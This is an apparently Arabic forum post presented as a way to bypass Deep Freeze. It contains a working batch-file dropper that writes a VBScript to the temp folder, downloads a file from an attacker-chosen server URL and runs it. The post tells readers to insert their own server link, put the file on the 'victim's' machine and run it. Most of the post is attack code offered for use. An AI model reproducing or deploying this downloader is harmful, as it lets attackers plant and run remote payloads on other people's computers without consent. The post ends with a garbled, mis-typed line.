][بسم الله  الرحمن الرحيم][
  السلام عليكم و رحمة  الله و بركاته
 ||تفادي  الديب   فريز||   أنسخ هذا الكود وضعها في  المفكرة
 
 
 
   كود:
 @echo off 
set file="patch url" 
set dlto="C:\" 
::---------------- 
if exist  %temp%\dl.vbs del /q %temp%\dl.vbs 
echo HTTPDownload %file%,%dlto% >>  %temp%\dl.vbs 
echo Sub HTTPDownload( myURL, myPath ) >> %temp%\dl.vbs  
echo Dim i, objFile, objFSO, objHTTP, strFile, strMsg >> %temp%\dl.vbs  
echo Const ForReading = 1, ForWriting = 2, ForAppending = 8 >>  %temp%\dl.vbs 
echo Set objFSO = CreateObject( "Scripting.FileSystemObject" )  >> %temp%\dl.vbs 
echo If objFSO.FolderExists( myPath ) Then >>  %temp%\dl.vbs 
echo strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev(  myURL, "/" ) + 1 ) ) >> %temp%\dl.vbs 
echo ElseIf objFSO.FolderExists(  Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then >> %temp%\dl.vbs  
echo strFile = myPath >> %temp%\dl.vbs 
echo Else >>  %temp%\dl.vbs 
echo Exit Sub >> %temp%\dl.vbs 
echo End If >>  %temp%\dl.vbs 
echo Set objFile = objFSO.OpenTextFile( strFile, ForWriting,  True ) >> %temp%\dl.vbs 
echo Set objHTTP = CreateObject(  "WinHttp.WinHttpRequest.5.1" ) >> %temp%\dl.vbs 
echo objHTTP.Open  "GET", myURL, False >> %temp%\dl.vbs 
echo objHTTP.Send >>  %temp%\dl.vbs 
echo For i = 1 To LenB( objHTTP.ResponseBody ) >>  %temp%\dl.vbs 
echo objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1  ) ) ) >> %temp%\dl.vbs 
echo Next >> %temp%\dl.vbs 
echo  objFile.Close( ) >> %temp%\dl.vbs 
echo End Sub >> %temp%\dl.vbs  
start %temp%\dl.vbs
    بعد ماتلصق هذاء الكود في المفكرة بدل كلمة patch url برأبط سيرفرك المباشر واحفظها باسم بأمتداد  BAT  بعدين نزلها بجهاز الضحية وسو لها تشغيل ومبروك عليك  الضحية
     
jth]d hg]df tvd. Deep Freeze